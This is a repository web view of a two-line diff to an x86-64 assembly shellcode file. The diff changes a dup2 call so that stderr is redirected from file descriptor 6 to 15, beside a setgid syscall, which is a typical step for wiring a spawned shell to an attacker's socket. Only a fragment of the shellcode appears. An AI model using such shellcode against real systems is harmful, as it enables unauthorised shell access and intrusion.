aboutsummaryrefslogtreecommitdiffstats
path: root/shellcode-64.s
diff options
context:
space:
mode:
Diffstat (limited to 'shellcode-64.s')
-rw-r--r--shellcode-64.s4
1 files changed, 2 insertions, 2 deletions
diff --git a/shellcode-64.s b/shellcode-64.s
index 517b617..f091d70 100644
--- a/shellcode-64.s
+++ b/shellcode-64.s
@@ -13,9 +13,9 @@ syscall
xor rdi,rdi
mov al,0x6a
syscall
-;dup2(6, 2)
+;dup2(15, 2)
xor rsi,rsi
-mov dil,0x6
+mov dil,0xf
mov sil,0x2
mov al,0x21
syscall